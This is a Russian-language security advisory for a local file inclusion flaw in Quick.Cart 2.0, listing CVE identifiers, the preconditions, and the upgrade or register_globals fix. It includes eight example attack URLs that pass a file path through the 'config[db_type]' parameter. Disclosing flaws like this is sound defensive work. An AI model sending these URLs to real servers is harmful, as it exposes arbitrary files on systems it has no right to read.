Security Lab

Инклюдинг локальных файлов в Quick.Cart

Дата публикации:07.12.2006
Дата изменения:08.04.2009
Всего просмотров:1850
Опасность:
Средняя
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: CVE-2006-6390
CVE-2006-6391
CVE-2007-1407
Вектор эксплуатации: Удаленная
Воздействие: Раскрытие важных данных
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Quick.Cart 2.x
Уязвимые версии: Quick.Cart 2.0, возможно более ранние версии.

Описание:
Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "config[db_type]" в различных сценариях. Удаленный пользователь может с помощью специально сформированного URL просмотреть содержимое произвольных файлов на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена и опция "magic_quotes_gpc" отключена. Пример:

http://[host]/actions_admin/categories.php?config[db_type]=[file]
http://[host]/actions_admin/couriers.php?config[db_type]=[file]
http://[host]/actions_admin/orders.php?config[db_type]=[file]
http://[host]/actions_admin/other.php?config[db_type]=[file]
http://[host]/actions_admin/product.php?config[db_type]=[file]
http://[host]/actions_client/gallery.php?config[db_type]=[file]
http://[host]/actions_client/orders.php?config[db_type]=[file]
http://[host]/actions_client/products.php?config[db_type]=[file]

URL производителя: opensolution.org/?p=Quick.Cart

Решение: Установите последнюю версию с сайта производителя. В качестве временного решения рекомендуется отключить опцию "register_globals" в конфигурационном файле PHP.

Журнал изменений:
08.04.2009
Изменена секция "Решение"